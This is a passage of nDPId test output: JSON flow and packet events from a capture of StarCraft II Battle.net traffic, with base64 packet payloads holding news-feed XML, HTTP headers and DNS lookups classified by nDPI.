bmV0LyIvPjxzdW1tYXJ5IHR5cGU9Imh0bWwiPldhdGNoIExpdmUgTm93IDwvc3VtbWFyeT48Y29udGVudCB0eXBlPSJodG1sIj48L2NvbnRlbnQ+PGltYWdlIHhtbG5zPSJodHRwOi8vd3d3LmJhdHRsZS5uZXQvbnMvc2MyL25ld3MiIHR5cGU9ImNvbnRlbnQiIGhyZWY9Imh0dHA6Ly9ibmV0Y21zdXMtYS5ha2FtYWloZC5uZXQvY21zL2JuZXRfdGh1bWJuYWlsLzRqLzRKN09VSUlTQ0xUUTE0MzY5NDM2MjkyMTAuanBnIi8+PC9lbnRyeT48ZW50cnk+PHRpdGxlIHR5cGU9InRleHQiPiA8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNy0xOFQwMTozMDowMC4wMDBaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNy0xNVQxNjozMzo1My43MzRaPC91cGRhdGVkPjxpZD4xOTgxNjc2MjwvaWQ+PGxpbmsgaHJlZj0iaHR0cDovL3djcy5iYXR0bGUubmV0LyIvPjxzdW1tYXJ5IHR5cGU9Imh0bWwiPldhdGNoIExpdmUgTm93IDwvc3VtbWFyeT48Y29udGVudCB0eXBlPSJodG1sIj48L2NvbnRlbnQ+PGltYWdlIHhtbG5zPSJodHRwOi8vd3d3LmJhdHRsZS5uZXQvbnMvc2MyL25ld3MiIHR5cGU9ImNvbnRlbnQiIGhyZWY9Imh0dHA6Ly9ibmV0Y21zdXMtYS5ha2FtYWloZC5uZXQvY21zL2JuZXRfdGh1bWJuYWlsLzRqLzRKN09VSUlTQ0xUUTE0MzY5NDM2MjkyMTAuanBnIi8+PC9lbnRyeT48ZW50cnk+PHRpdGxlIHR5cGU9InRleHQiPiA8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNy0xN1QxMjowMDowMC4wMDBaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNy0xNVQ="} +02372{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":559920,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxe5AADMGrwlQ77oowKgBZABQDcUKfgNw2+pt0lAQPLjwkQAAMTY6MzM6MjQuNzA1WjwvdXBkYXRlZD48aWQ+MTk4MjU3NjQ8L2lkPjxsaW5rIGhyZWY9Imh0dHA6Ly93Y3MuYmF0dGxlLm5ldC8iLz48c3VtbWFyeSB0eXBlPSJodG1sIj5XYXRjaCBMaXZlIE5vdyA8L3N1bW1hcnk+PGNvbnRlbnQgdHlwZT0iaHRtbCI+PC9jb250ZW50PjxpbWFnZSB4bWxucz0iaHR0cDovL3d3dy5iYXR0bGUubmV0L25zL3NjMi9uZXdzIiB0eXBlPSJjb250ZW50IiBocmVmPSJodHRwOi8vYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0L2Ntcy9ibmV0X3RodW1ibmFpbC91My9VMzdWMkVWRDUxOFQxNDM2ODI1Nzk1MTMwLmpwZyIvPjwvZW50cnk+PGVudHJ5Pjx0aXRsZSB0eXBlPSJ0ZXh0Ij4gPC90aXRsZT48cHVibGlzaGVkPjIwMTUtMDctMTdUMDE6MzA6MDAuMDAwWjwvcHVibGlzaGVkPjx1cGRhdGVkPjIwMTUtMDctMTVUMTY6MzQ6MTIuODk3WjwvdXBkYXRlZD48aWQ+MTk4MTY3NjE8L2lkPjxsaW5rIGhyZWY9Imh0dHA6Ly93Y3MuYmF0dGxlLm5ldC8iLz48c3VtbWFyeSB0eXBlPSJodG1sIj5XYXRjaCBMaXZlIE5vdyA8L3N1bW1hcnk+PGNvbnRlbnQgdHlwZT0iaHRtbCI+PC9jb250ZW50PjxpbWFnZSB4bWxucz0iaHR0cDovL3d3dy5iYXR0bGUubmV0L25zL3NjMi9uZXdzIiB0eXBlPSJjb250ZW50IiBocmVmPSJodHRwOi8vYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0L2Ntcy9ibmV0X3RodW1ibmFpbC80ai80SjdPVUlJU0NMVFExNDM2OTQzNjI5MjEwLmpwZyIvPjwvZW50cnk+PGVudHJ5Pjx0aXRsZSB0eXBlPSJ0ZXh0Ij4gPC90aXRsZT48cHVibGlzaGVkPjIwMTUtMDctMTZUMTM6MzA6MDAuMDAwWjwvcHVibGlzaGVkPjx1cGRhdGVkPjIwMTUtMDctMTVUMTY6MzM6MzMuMDE4WjwvdXBkYXRlZD48aWQ+MTk4MjU3NjM8L2lkPjxsaW5rIGhyZWY9Imh0dHA6Ly93Y3MuYmF0dGxlLm5ldC8iLz48c3VtbWFyeSB0eXBlPSJodG1sIj5XYXRjaCBMaXZlIE5vdyA8L3N1bW1hcnk+PGNvbnRlbnQgdHlwZT0iaHRtbCI+PC9jb250ZW50PjxpbWFnZSB4bWxucz0iaHR0cDovL3d3dy5iYXR0bGUubmV0L25zL3NjMi9uZXdzIiB0eXBlPSJjb250ZW50IiBocmVmPSJodHRwOi8vYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0L2Ntcy9ibmV0X3RodW1ibmFpbC91My9VMzdWMkVWRDUxOFQxNDM2ODI1Nzk1MTMwLmpwZyIvPjwvZW50cnk+PGVudHJ5Pjx0aXRsZSB0eXBlPSJ0ZXh0Ij4gPC90aXRsZT48cHVibGlzaGVkPjIwMTUtMDYtMjhUMDY6MDA6MDAuMDAwWjwvcHVibGlzaGVkPjx1cGRhdGVkPjIwMTUtMDYtMTlUMTU6NTc6NTguMzM2WjwvdXBkYXRlZD48aWQ+MTk4MDMzODQ8L2lkPjxsaW5rIGhyZWY9Imh0dHA6Ly9iaXQubHkvR1NMRU5VU0VVIi8+PHN1bW1hcnkgdHlwZT0iaHRtbCI+V2F0Y2ggTGl2ZSBOb3cgPC9zdW1tYXJ5Pjxjb250ZW50IHR5cGU9Imh0bWwiPjwvY29udGVudD48aW1hZ2UgeG1sbnM9Imh0dHA6Ly93d3cuYmF0dGxlLm5ldC9ucy9zYzIvbmU="} +00418{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":559951,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPBAAIAGLLzAqAFkUO+6KA3FAFDb6m3SCn4JJFAQ+vB8SwAA"} +00589{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":560007,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"IImEa8W6hCYVPnXECABFAACmxe9AADMGtD5Q77oowKgBZABQDcUKfgkk2+pt0lAYPLiK4gAAd3MiIHR5cGU9ImNvbnRlbnQiIGhyZWY9Imh0dHA6Ly9ibmV0Y21zdXMtYS5ha2FtYWloZC5uZXQvY21zL2JuZXRfdGh1bWJuYWlsL2djL0dDRjFESE1IOEZEWTE0MzQ2NzAwMzc0MzQuanBnIi8+PC9lbnRyeT48L2ZlZWQ+"} +00418{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":560068,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEbVAAIAGHAXAqAFkUO+6Gg3DAFAjjlMOcoYZ1FAR+QXYrQAA"} +00419{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":560102,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPJAAIAGLLrAqAFkUO+6KA3FAFDb6m3SCn4JolAR+nJ8SgAA"} +00426{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":560911,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAolZxAADMG5Q9Q77oowKgBZABQDcb00A3a3+duwFAQPLhGjwAAAAAAAAAA"} +02373{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":579062,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXclZ1AADMG31pQ77oowKgBZABQDcb00A3a3+duwFAQPLg3mwAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQ1IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KU2V0LUNvb2tpZTogbG9naW4uY29va2llcz0xOyBEb21haW49YmF0dGxlLm5ldDsgUGF0aD0vDQpDb250ZW50LUxhbmd1YWdlOiBlbi1HQg0KQ29udGVudC1MZW5ndGg6IDI1NzkNClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7Y2hhcnNldD1VVEYtOA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI\/Pgo8ZmVlZCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwNS9BdG9tIiB4bWw6bGFuZz0iZW4tZ2IiPjxhdXRob3I+PG5hbWU+QmxpenphcmQgRW50ZXJ0YWlubWVudDwvbmFtZT48L2F1dGhvcj48dGl0bGUgdHlwZT0idGV4dCI+U3RhckNyYWZ0wq7CoElJPC90aXRsZT48dXBkYXRlZD4yMDE1LTA3LTE1VDE4OjQxOjU1LjU0MFo8L3VwZGF0ZWQ+PGlkPjc8L2lkPjxlbnRyeT48dGl0bGUgdHlwZT0idGV4dCI+TG90ViBOb3cgQXZhaWxhYmxlIGZvciBQcmUtUHVyY2hhc2UhPC90aXRsZT48cHVibGlzaGVkPjIwMTUtMDctMTVUMTc6MDA6MDAuMDAwWjwvcHVibGlzaGVkPjx1cGRhdGVkPjIwMTUtMDctMTVUMTg6NDE6NTUuNTQwWjwvdXBkYXRlZD48aWQ+MTk4MjY4MDI8L2lkPjxsaW5rIGhyZWY9ImJuZXQ6YWN0aW9uPXBhZ2UmYW1wO3BhZ2U9Y29tbXVuaXR5JmFtcDtuZXdzSWQ9MTk4MjY4MDIiIHJlbD0iYmxpenphcmQiLz48c3VtbWFyeSB0eXBlPSJodG1sIj48L3N1bW1hcnk+PGltYWdlIHhtbG5zPSJodHRwOi8vd3d3LmJhdHRsZS5uZXQvbnMvc2MyL25ld3MiIHR5cGU9InN1bW1hcnkiIGhyZWY9Imh0dHA6Ly9ibmV0Y21zdXMtYS5ha2FtYWloZC5uZXQvY21zL2JuZXRfaGVhZGVyL2ZhL0ZBNTEySVBVTjBTRTE0MzY5Nzk5MzYzODguanBnIi8+PC9lbnRyeT48ZW50cnk+PHRpdGxlIHR5cGU9InRleHQiPldoaXNwZXJzIG9mIE9ibGl2aW9uIOKAkyBQcm9sb2d1ZSB0byBMZWdhY3kgb2YgdGhlIFZvaWQ8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNi0xN1QxNzowMjo1Ny44NzlaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNi0yM1QxNDozMToyMS41NzVaPC91cGRhdGVkPjxpZD4xOTgwNDE2MTwvaWQ+PGxpbmsgaHJlZj0iYm5ldDphY3Rpb249cGFnZSZhbXA7cGFnZT1jb21tdW5pdHkmYW1wO25ld3NJZD0xOTgwNDE2MSIgcmVsPSJibGl6emFyZCIvPjxzdW1tYXJ5IHR5cGU9Imh0bWwiPjwvc3VtbWFyeT48aW1hZ2UgeG1sbnM9Imh0dHA6Ly93d3cuYmF0dGxlLm5ldC9ucy9zYzIvbmV3cyIgdHlwZT0ic3VtbWFyeSIgaHJlZj0iaHR0cDovL2JuZXRjbXN1cy1hLmFrYW1haWhkLm5ldC9jbXMvYm5ldF9oZWFkZXIvNzgvNzhYSDJVTlU0SllLMTQzNDU2MDU1MTY4Ny5qcGciLz48L2VudHJ5PjxlbnRyeT48dGl0bGUgdHk="} +02280{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":579157,"pkt_caplen":1445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1445,"pkt_l4_len":1411,"pkt":"IImEa8W6hCYVPnXECABFAAWXlZ5AADMG355Q77oowKgBZABQDcb00BOO3+duwFAYPLjLFgAAcGU9InRleHQiPjIwMTUgU2Vhc29uIDIgTG9jayBpbmNvbWluZyAtIE5ldyBTZWFzb24gd2lsbCBiZSBzdGFydGluZyBzb29uPC90aXRsZT48cHVibGlzaGVkPjIwMTUtMDYtMTZUMTc6MDA6MDAuMDAwWjwvcHVibGlzaGVkPjx1cGRhdGVkPjIwMTUtMDYtMjNUMTQ6MjU6MjIuNzgyWjwvdXBkYXRlZD48aWQ+MTk4MDQxNTk8L2lkPjxsaW5rIGhyZWY9ImJuZXQ6YWN0aW9uPXBhZ2UmYW1wO3BhZ2U9Y29tbXVuaXR5JmFtcDtuZXdzSWQ9MTk4MDQxNTkiIHJlbD0iYmxpenphcmQiLz48c3VtbWFyeSB0eXBlPSJodG1sIj4gPC9zdW1tYXJ5PjxpbWFnZSB4bWxucz0iaHR0cDovL3d3dy5iYXR0bGUubmV0L25zL3NjMi9uZXdzIiB0eXBlPSJzdW1tYXJ5IiBocmVmPSJodHRwOi8vYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0L2Ntcy9ibmV0X2hlYWRlci9tZi9NRlRIOFRTNDJIS1gxNDMwMTgzNzc4MzE5LmpwZyIvPjwvZW50cnk+PGVudHJ5Pjx0aXRsZSB0eXBlPSJ0ZXh0Ij5MZWdhY3kgb2YgdGhlIFZvaWQgQmV0YTogQmFsYW5jZSBVcGRhdGUgUHJldmlldyAtIEp1bmUgMTc8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNi0xMlQxNzowMjoyNi45ODJaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNi0yM1QxNDowMzozMy43OTFaPC91cGRhdGVkPjxpZD4xOTgwMzM3NzwvaWQ+PGxpbmsgaHJlZj0iYm5ldDphY3Rpb249cGFnZSZhbXA7cGFnZT1jb21tdW5pdHkmYW1wO25ld3NJZD0xOTgwMzM3NyIgcmVsPSJibGl6emFyZCIvPjxzdW1tYXJ5IHR5cGU9Imh0bWwiPiA8L3N1bW1hcnk+PGltYWdlIHhtbG5zPSJodHRwOi8vd3d3LmJhdHRsZS5uZXQvbnMvc2MyL25ld3MiIHR5cGU9InN1bW1hcnkiIGhyZWY9Imh0dHA6Ly9ibmV0Y21zdXMtYS5ha2FtYWloZC5uZXQvY21zL2JuZXRfaGVhZGVyLzB4LzBYUTFWWFI4WlIyNzE0MzQxMjg1Mjc0NzEuanBnIi8+PC9lbnRyeT48ZW50cnk+PHRpdGxlIHR5cGU9InRleHQiPkFyY2FkZSBIaWdobGlnaHQ6IFRlc3NlcmE8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNC0wOVQxNDo1MDowMC4wMDBaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNC0wOVQxNDo1NToyOC4zMTRaPC91cGRhdGVkPjxpZD4xODcwMjU5NjwvaWQ+PGxpbmsgaHJlZj0iYm5ldDphY3Rpb249cGFnZSZhbXA7cGFnZT1jb21tdW5pdHkmYW1wO25ld3NJZD0xODcwMjU5NiIgcmVsPSJibGl6emFyZCIvPjxzdW1tYXJ5IHR5cGU9Imh0bWwiPjwvc3VtbWFyeT48aW1hZ2UgeG1sbnM9Imh0dHA6Ly93d3cuYmF0dGxlLm5ldC9ucy9zYzIvbmV3cyIgdHlwZT0ic3VtbWFyeSIgaHJlZj0iaHR0cDovL2JuZXRjbXN1cy1hLmFrYW1haWhkLm5ldC9jbXMvYm5ldF9oZWFkZXIveWYvWUY5UFJDWlhKVlBaMTQyODU5MTI1NDMxNy5qcGciLz48L2VudHJ5PjwvZmVlZD4="} +00419{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":579174,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPNAAIAGLLnAqAFkUO+6KA3GAFDf527A9NAY\/VAQ+vB9MwAA"} +00418{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":579218,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEbhAAIAGHALAqAFkUO+6Gg3EAFAnGJMJIDJO1VAR+P2yggAA"} +00419{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":579250,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPVAAIAGLLfAqAFkUO+6KA3GAFDf527A9NAY\/VAR+vB9MgAA"} +00427{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":610905,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoxfBAADMGtLtQ77oowKgBZABQDcUKfgmi2+pt01ARPLg6BAAAAAAAAAAA"} +00419{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":610939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPZAAIAGLLbAqAFkUO+6KA3FAFDb6m3TCn4Jo1AQ+nJ8SQAA"} +00426{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":615189,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoYVhAADMGGWJQ77oawKgBZABQDcNyhhnUI45TD1ARPLiU+gAAAAAAAAAA"} +00421{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":615216,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEbtAAIAGG\/\/AqAFkUO+6Gg3DAFAjjlMPcoYZ1VAQ+QXYrAAA"} +00427{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":631183,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAolZ9AADMG5QxQ77oowKgBZABQDcb00Bj93+duwVARPLg7agAAAAAAAAAA"} +00420{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":631224,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAPhAAIAGLLTAqAFkUO+6KA3GAFDf527B9NAY\/lAQ+vB9MQAA"} +00426{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":635209,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo4f9AADMGmLpQ77oawKgBZABQDcQgMk7VJxiTClARPLhuxwAAAAAAAAAA"} +00420{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":635256,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEb1AAIAGG\/3AqAFkUO+6Gg3EAFAnGJMKIDJO1lAQ+P2ygQAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":630,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1437389985821,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":55468,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":821971,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"hCYVPnXEIImEa8W6CABFAABGX2kAAIARVovAqAFkwKgB\/tisADUAMndemisBAAABAAAAAAAAC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAAAAQAB"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":630,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1437389985821,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":55468,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"bnetcmsus-a.akamaihd.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00459{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":852937,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"hCYVPnXEIImEa8W6CABFAABGX2oAAIARVorAqAFkwKgB\/tisADUAMndemisBAAABAAAAAAAAC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAAAAQAB"} +00609{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":882329,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"IImEa8W6hCYVPnXECABFAAC0AABAAEARtYbAqAH+wKgBZAA12KwAoDk1miuBgAABAAQAAAAAC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAAAAQABwAwABQABAAAAGwAlC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAllZGdlc3VpdGXAIcA2AAUAAQAAUvQAEQVhMTk2MQFnBmFrYW1hacAhwGcAAQABAAAAEwAEAuQucMBnAAEAAQAAABMABALkLms="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":632,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":3,"flow_first_seen":1437389985821,"flow_last_seen":1437389985882,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":50,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":55468,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"bnetcmsus-a.akamaihd.net","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"2.228.46.112"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":633,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1437389985891,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3527,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":891466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LN5AAIAG2oXAqAFkAuQucA3HAFCKhzd4AAAAAIACIACLmQAAAgQFtAEDAwgBAQQC"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":634,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1437389985892,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3528,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 